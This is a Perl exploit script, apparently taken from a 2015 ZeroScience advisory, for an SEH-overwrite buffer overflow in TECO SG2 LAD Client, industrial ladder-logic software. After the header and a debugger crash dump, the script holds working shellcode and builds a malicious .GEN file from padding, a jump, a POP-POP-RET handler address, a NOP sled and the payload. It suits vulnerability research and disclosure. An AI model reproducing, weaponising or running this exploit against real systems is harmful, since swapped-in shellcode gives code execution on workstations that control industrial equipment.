#!/usr/bin/perl### TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit### Vendor: TECO Electric and Machinery Co., Ltd.# Product web page: http://www.teco-group.eu# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9# Affected version: 3.51 and 3.40## Summary: SG2 Client is a program that enables to create and edit applications.# The program is providing two edit modes, LADDER and FBD to rapidly and directly# input the required app. The Simulation Mode allows users to virtually run and test# the program before it is loaded to the controller.## Desc: The vulnerability is caused due to a boundary error in the processing of a# Genie LAD file, which can be exploited to cause a buffer overflow when a user opens# e.g. a specially crafted .GEN file. Successful exploitation could allow execution# of arbitrary code on the affected machine.## ---------------------------------------------------------------------------------# (10bc.1358): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=00000000 ebx=00000000 ecx=43434343 edx=7794b4ad esi=00000000 edi=00000000# eip=43434343 esp=0018dc24 ebp=0018dc44 iopl=0 nv up ei pl zr na pe nc# cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00210246# 43434343 ?????# 0:000> !exchain# 0018dc38: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)# 0018e1d4: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)# 0018e800: MFC42!Ordinal1580+373 (708df2fc)# 0018f098: 43434343# Invalid exception stack at 42424242# ---------------------------------------------------------------------------------## Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit#Microsoft Windows 7 Ultimate SP1 (EN) 64bit### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2015-5275# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5275.php### 09.10.2015]## 113 bytes MessageBox shellcode
my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"."\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"."\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"."\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"."\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"."\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"."\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"."\x49\x0b\x31\xc0\x51\x50\xff\xd7";# Address = 0041D659# Message = 0x0041d659 : pop edi # pop esi # ret 0x04# startnull {PAGE_EXECUTE_READ} [LAD.exe]# ASLR: False;# Rebase: False;# SafeSEH: False;# OS: False;# v0.2.9.0 (C:\Program Files (x86)\TECO\SG2 Client\LAD.exe)
my $file = "lad.gen";
my $junk = "\x41" x 21750 ."\xEB\x08\x90\x90"."\x59\xd6\x41\x00"."\x90" x 28 .$sc."\x90" x 20;
open($FILE,">$file");
print $FILE"$junk";
close($FILE);
print "Malicious GEN file created successfully!\n";
